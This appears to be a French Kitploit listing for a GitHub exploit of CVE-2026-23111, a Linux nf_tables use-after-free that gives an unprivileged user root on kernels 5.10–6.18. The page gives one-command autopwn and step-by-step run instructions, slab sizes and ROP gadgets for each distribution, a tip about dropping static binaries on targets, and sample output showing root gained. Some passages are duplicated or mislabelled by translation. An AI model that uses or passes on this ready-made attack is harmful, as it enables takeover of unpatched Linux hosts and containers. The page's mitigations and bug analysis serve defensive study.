Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-23111-POC-noddlenpottato — CVE-2026-23111 UAF catchall nf_tables — LPE non privilégié pour Linux 5.10-6.18. Exploit auto-adaptatif avec contournement de KASLR, lecture arbitraire du noyau et chaîne ROP. Prend en charge Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn. | Kitploit
Outils/GitHubGitHub/knz-source/cve-2026-23111-poc-noddlenpottato
Escalade de PrivilègesExploitationExploitation de Binaires
GitHubknz-source/cve-2026-23111-poc-noddlenpottato

CVE-2026-23111-POC-noddlenpottato

CVE-2026-23111 UAF catchall nf_tables — LPE non privilégié pour Linux 5.10-6.18. Exploit auto-adaptatif avec contournement de KASLR, lecture arbitraire du noyau et chaîne ROP. Prend en charge Debian, Ubuntu, RHEL, Fedora. C/Python/Rust + autopwn.

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
5il y a 8 joursPas encore vérifié

CVE-2026-23111 — noddlenpottato

UAF catchall de nf_tables → LPE non privilégié. passage de l'utilisateur à root sur la plupart des kernels linux 5.10—6.18.

s'auto-adapte au kernel cible — détecte les offsets de structures, résout les symboles, trouve les gadgets ROP, détermine le cache slab, génère un exploit sur mesure, compile et exécute.

UAF catchall de nf_tables → LPE sans privilèges. un utilisateur ordinaire devient root sur la plupart des kernels linux 5.10—6.18.

s'auto-adapte au kernel cible — détecte les offsets de structures, résout les symboles, trouve des gadgets ROP, détermine le cache slab, génère un exploit sur mesure, compile et exécute.

aperçu de la chaîne d'exploitation

exploit chain

stratégie de récupération du slab

slab reclaim

la vulnérabilité / la vulnérabilité

EN : vérification inversée de genmask dans nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). lors de l'abandon de transaction, le handler ignore les éléments catchall inactifs qui nécessitent une réactivation et traite les actifs qui n'en ont pas besoin. cela provoque la décrémentation de chain->use sans restauration appropriée, permettant DELCHAIN sur une chaîne encore référencée — créant un UAF.

PT : vérification inversée de genmask dans nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). lors de l'abandon de transaction, le handler ignore les éléments catchall inactifs qui nécessitent une réactivation et traite les actifs qui n'en ont pas besoin. cela cause la décrémentation de chain->use sans restauration adéquate, permettant DELCHAIN sur une chaîne encore référencée — créant un UAF.

la condition erronée :

root@kitploit:~
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

ce que vous obtenez / ce que vous obtenez

  • lecture arbitraire du kernel — lire 8 octets depuis n'importe quelle adresse virtuelle du kernel, un nombre illimité de fois
  • contournement KASLR — fuite de la base du kernel via la récupération de seq_operations du nom de chaîne libéré
  • LPE complet — commit_creds(init_cred) via une chaîne ROP avec retour sécurisé KPTI vers l'espace utilisateur
  • fonctionne depuis un utilisateur non privilégié — nécessite seulement unshare -rUn (namespace utilisateur + réseau)
  • fonctionne dans les conteneurs — pods kubernetes, conteneurs docker (obtient root dans le namespace du conteneur)

versions affectées / versions affectées

le bug a été introduit dans 6.1.36 (backport) et existe dans plusieurs branches LTS :

cela couvre pratiquement toutes les principales distributions linux d'entreprise publiées entre 2023 et 2026.

démarrage rapide

root@kitploit:~
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

ou étape par étape / ou étape par étape :

root@kitploit:~
python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

structure du dépôt / structure du dépôt

root@kitploit:~
.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

adaptations techniques clés / adaptations techniques clés

la taille du slab compte

sizeof(nft_chain) varie selon les builds du kernel. une mauvaise taille de spray = échec silencieux :

root@kitploit:~
debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

le spray userdata DOIT utiliser la taille exacte de la structure (pas la taille du slab). autopwn.py gère cela automatiquement via pahole.

le gadget pivot varie

le registre contenant le pointeur expr au site d'appel de eval() change entre les versions du kernel :

kernelregistregadget requis
6.1.x (debian)rbpleave; jmp __x86_return_thunk
6.5+ (ubuntu)rbxmov rsp, rbx; ret ou push rbx; pop rsp; ret

mauvais gadget = panic kernel instantané. vérifiez toujours en désassemblant nft_do_chain.

retpoline

les kernels modernes remplacent tous les ret par jmp __x86_return_thunk. la recherche de gadgets doit en tenir compte — vous ne trouverez pas pop rdi; ret, vous trouverez pop rdi; jmp __x86_return_thunk.

compilation

root@kitploit:~
# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

preuve

root@kitploit:~
$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

documentation / documentation

doccontenu / contenu
EXPLOITATION.mdwalkthrough complet de la chaîne d'exploitation avec code, EN/PT

mitigations / mitigations

root@kitploit:~
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

crédits

analyse originale de la vulnérabilité issue de l'advisory nf_tables. développement complet de la chaîne LPE, analyse slab, adaptation multi-kernel, recherche de gadgets pivot et outillage autopwn développés indépendamment.

Télécharger l’outil
plage de kernelscorrigé dansdistributions affectées
6.13 — 6.18.96.18.10fedora 41+, arch (rolling)
6.7 — 6.12.696.12.70ubuntu 24.04/24.10, fedora 39/40
6.1.36 — 6.1.1626.1.163debian 12 (bookworm), dérivés RHEL 9
5.15.121 — 5.15.1995.15.200ubuntu 22.04 LTS, backports debian 11
5.10.188+diversdebian 11 (bullseye), dérivés RHEL 8
DEBUGGING.mdcomment extraire chaque offset et gadget pour votre kernel, EN/PT
CONSIDERATIONS.mdcas limites, contournements, conteneurs, SMEP/SMAP, détection, EN/PT